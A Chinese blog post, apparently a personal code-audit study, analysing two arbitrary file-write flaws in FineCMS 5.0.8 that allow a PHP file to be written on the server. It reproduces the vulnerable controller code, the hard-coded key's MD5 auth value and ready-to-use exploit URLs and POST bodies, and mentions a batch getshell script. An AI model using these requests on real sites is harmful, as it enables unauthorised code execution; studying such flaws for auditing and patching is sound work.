FineCMS最新版5.0.8两处getshell(每天一洞)
2018-01-30

前言

要专心学习代码审计了,看看能不能坚持每天去分析一个漏洞,我会去按照大神们分析的代码去读懂代码逻辑然后再写上自己的理解放在我的博客上面。在文章的末尾我会贴上文章的链接,尊重原作者的版权!

第一处漏洞分析

漏洞文件位置和代码

代码位置:\finecms\dayrui\controllers\Api.php

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
public function data2() {

$data = array();

// 来路认证
if (defined('SYS_REFERER') && strlen(SYS_REFERER)) {
$http = $_SERVER['HTTP_REFERER'] ? $_SERVER['HTTP_REFERER'] : $_GET['http_referer'];
if (empty($http)) {
$data = array('msg' => '来路认证失败(NULL)', 'code' => 0);
} elseif (strpos($http, SYS_REFERER) === FALSE) {
$data = array('msg' => '来路认证失败(非法请求)', 'code' => 0);
}
}
//如果data为空就继续
if (!$data) {
// 安全码认证
//从get接收auth的参数
$auth = $this->input->get('auth');
//SYS_KEY的值为24b16fede9a67c9251d3e7c7161c83ac,如果auth不等于md5加密后的SYS_KEY就执行
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
// 解析数据
$cache = '';
//从get里面取param参数的值
$param = $this->input->get('param');
//判断是否有param['cache']这个参数并且这个参数不能为空
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {

if ($param == 'login') {
// 登录认证
$code = $this->member_model->login(
$this->input->get('username'),
$this->input->get('password'),
0, 1);
if (is_array($code)) {
$data = array(
'msg' => 'ok',
'code' => 1,
'return' => $this->member_model->get_member($code['uid'])
);
} elseif ($code == -1) {
$data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
} elseif ($code == -2) {
$data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
} elseif ($code == -3) {
$data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
} elseif ($code == -4) {
$data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0);
}
} elseif ($param == 'update_avatar') {
// 更新头像
$uid = (int)$_REQUEST['uid'];//获取uid,但下面没有检测所以不用加上&uid的值
$file = $_REQUEST['file'];//接收文件的参数
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
@dr_dir_delete($dir);//删除目录下的全部文件
if (!is_dir($dir)) {//判断是否是目录
dr_mkdirs($dir);//新建目录再给权限
}
//把里面的空格替换成+
$file = str_replace(' ', '+', $file);
/*)^表示要以下面的表达式开头,*表示匹配前面的子表达式零次或多次,/接着特殊字符

匹配字样为data:image/后缀;base64,
*/
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
$data = array(
'msg' => '目录权限不足或磁盘已满',
'code' => 0
);
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
$data = array(
'msg' => $this->image_lib->display_errors(),
'code' => 0
);
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
if (!$type) {
$data = array(
'msg' => '错误的文件格式,请传输图片的字符',
'code' => 0
);
}
}
} else {
$data = array(
'msg' => '图片字符串不规范,请使用base64格式',
'code' => 0
);
}

// 更新头像
if (!isset($data['code'])){
$data = array(
'code' => 1,
'msg' => '更新成功'
);
$this->db->where('uid', $uid)->update('member', array('avatar' => $uid));
}
} elseif ($param == 'function') {
// 执行函数
$name = $this->input->get('name', true);
if (function_exists($name)) {
$_param = array();
$_getall = $this->input->get(null, true);
if ($_getall) {
for ($i=1; $i<=10; $i++) {
if (isset($_getall['p'.$i])) {
$_param[] = $_getall['p'.$i];
} else {
break;
}
}
}
$data = array('msg' => '', 'code' => 1, 'result' => call_user_func_array($name, $_param));
} else {
$data = array('msg' => '函数 ('.$name.')不存在', 'code' => 0);
}
} elseif ($param == 'get_file') {
// 获取文件地址
$info = get_attachment((int)$this->input->get('id'));
if (!$info) {
$data = array('msg' => fc_lang('附件不存在或者已经被删除'), 'code' => 0, 'url' => '');
} else {
$data = array('msg' => '', 'code' => 1, 'url' => dr_get_file($info['attachment']));
}
} else {
// list数据查询
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
}

// 缓存数据
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}
}

// 接收参数
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
// 页面输出
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
// 自定义返回名称
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
// 自定义返回名称
echo $this->callback_json($data);
}
exit;
}

执行结果

我分析漏洞,都是看实现的Payload是什么,再从这个Payload再反推过来,思路就很清晰了,要不然慢慢去看代码,有些代码是不必要的,会浪费很多时间。
结果图:

漏洞

执行代码:
http://127.0.0.1/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

分析过程

这一段代码主要是看$data = array();这一句就行了

1
2
3
4
5
6
7
8
9
10
11
$data = array();

// 来路认证
if (defined('SYS_REFERER') && strlen(SYS_REFERER)) {
$http = $_SERVER['HTTP_REFERER'] ? $_SERVER['HTTP_REFERER'] : $_GET['http_referer'];
if (empty($http)) {
$data = array('msg' => '来路认证失败(NULL)', 'code' => 0);
} elseif (strpos($http, SYS_REFERER) === FALSE) {
$data = array('msg' => '来路认证失败(非法请求)', 'code' => 0);
}
}

这一段接着上面的如果是空就继续,再下来就是安全码认证了。从get取得auth的内容,然后去判断auth的内容是否正确,我们可以用PHPStorm选中SYS_KEY,按着shift+ctrl+F来查找SYS_KEY的位置,和notepad++的查找代码的差不多。

可以看到SYS_KEY是一个固定的值:24b16fede9a67c9251d3e7c7161c83ac,按上面的逻辑判断auth如果不等于auth的MD5加密就报错,那我们用MD5加密SYS_KEY就可以了。
加密后得到
auth=50ce0d2401ce4802751739552c8e4467

1
2
3
4
5
6
7
8
9
10
//如果data为空就继续
if (!$data) {
// 安全码认证
//从get接收auth的参数
$auth = $this->input->get('auth');
//SYS_KEY的值为24b16fede9a67c9251d3e7c7161c83ac,如果auth不等于md5加密后的SYS_KEY就执行
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
}

这段从get里面取param参数的值后进行判断,判断是否有param[‘cache’]这个参数并且这个参数不能为空。下面这两个函数dr_array2stringget_cache_data一个在_\finecms\dayrui\helpers\function_helper.php_里、一个在_\finecms\dayrui\core\M_Controller.php_里面,一个是用于将数组转换为字符串,一个是用于取缓存数据,这两个函数代码便不需要再去详细分析了,因为和漏洞关系不大。

1
2
3
4
5
6
7
8
9
10
else {
// 解析数据
$cache = '';
//从get里面取param参数的值
$param = $this->input->get('param');
//判断是否有param['cache']这个参数并且这个参数不能为空
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}

漏洞的核心代码就在这一段了,这里还判断一次data是否为空,因为上面已经把缓存写进了data就有数据不为空了。$param="login"这段代码我省略了,因为和漏洞关系不大。当$param == 'update_avatar'为真的时候执行下面内容。

1
2
3
4
5
6
7
if (!$data) {

if ($param == 'login') {
// 登录认证
//...........代码省略...........
} elseif ($param == 'update_avatar') {
// 更新头像

获取uid,但下面没有检测所以不用加上&uid的值,默认是0,member\uid会员目录下面这个的目录就是uid的保存目录。

1
$uid = (int)$_REQUEST['uid'];

接收文件的参数,这句就是重点。

1
$file = $_REQUEST['file'];

这段代码操作是删除目录$dir下的全部文件 ,再判断是否是目录,然后新建目录再给权限。

1
2
3
4
$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
@dr_dir_delete($dir);
if (!is_dir($dir)) {
dr_mkdirs($dir);

这里是把file里面的空格替换成+
1
$file = str_replace(' ', '+', $file);

这里用到了正则表达式的知识了,正好前段时间学了Python的正则表达式也复习下

^表示要以下面的表达式开头
*表示匹配前面的子表达式零次或多次
/接特殊字符
()表示一个分组

preg_match 的用法
匹配字样为data:image/后缀;base64,
preg_match把匹配到得的两个分组分给了$result变量中。
$new_file文件名,等于上面$dir+0x0.+$result[2]
$dir这个上面分析已经有了就是网站的上传目录,$result[2]表示后缀名,值就是表达式里面的(\w+)分组。
file_put_contents 的用法大家也再熟悉不过了。
base64_decode(str_replace($result[1], '', $file)))里面用了两个函数,先用str_replace替换data:image/php;base64,为空,然后用base64_decode解密剩下的字符

1
2
3
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file))))

所以从上面的代码分析出来,我们所需要输入的参数就有authparamfile、而file的内容就是关键,可以看出写入的文件内容和文件名都是可控的,然后这个上传到的目录也很明确。
构建的代码为PD9waHAgcGhwaW5mbygpOz8+解密为<?php phpinfo();?>
1
http://127.0.0.1/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

第二处漏洞分析

漏洞代码文件和位置

代码位置:

/finecms/dayrui/controllers/member/Account.php

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
    public function upload() {

// 创建图片存储文件夹;
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);

if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '图片字符串不规范'));
}
} else {

exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片不存在'));
}

// 上传图片到服务器
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
}


exit('1');
}

执行结果

执行代码:

http://127.0.0.1/index.php?s=member&c=account&m=upload

POST:tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

结果图:

分析过程

这一段和第一个漏洞差不多,删除会员下的目录再重新创建。

1
2
3
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);

这段检测POST中是否有tx这个参数,然后把当中的空格替换成+

1
2
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);

这个和第一个一样,匹配,当中的$result都是可控的,所以直接getshell就行了

1
2
3
4
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));

但是这个是要登录才能getshell的,为什么上面的Api就不能登录也能使用呢?大家都是继承了M_Controller的父类,我们来看下M_Controller类226行的一段代码,下面判断了数组里面4个值,但是Member这个控制器不在数组里面,所以要验证登录信息。

1
2
3
4
5
6
7
8
if (!defined('DR_UEDITOR')
&& !defined('DR_PAY_ID')
&& !defined('DISCUZ_ROOT')
&& !in_array($this->router->class, array('register', 'login', 'api', 'sns'))) {
$url = dr_member_url('login/index', array('backurl' => urlencode(dr_now_url())));
// 没有登录时
!$this->member && $this->member_msg(fc_lang('会话超时,请重新登录').$this->member_model->logout(), $url);
}

构建代码:

http://127.0.0.1/index.php?s=member&c=account&m=upload

POST:`tx=data:image/后缀名;base64,要写入文件内容的base64编码

编写自动化工具

我参考的那篇文章里面代码,我直接也照着写了一个批量Getshell的脚本,代码可以到我的Github下载

地址:https://github.com/F0r3at/Python-Tools

参考

http://4o4notfound.org/index.php/archives/40/

http://php.net/docs.php

源码下载地址:https://pan.lanzou.com/i0gd72d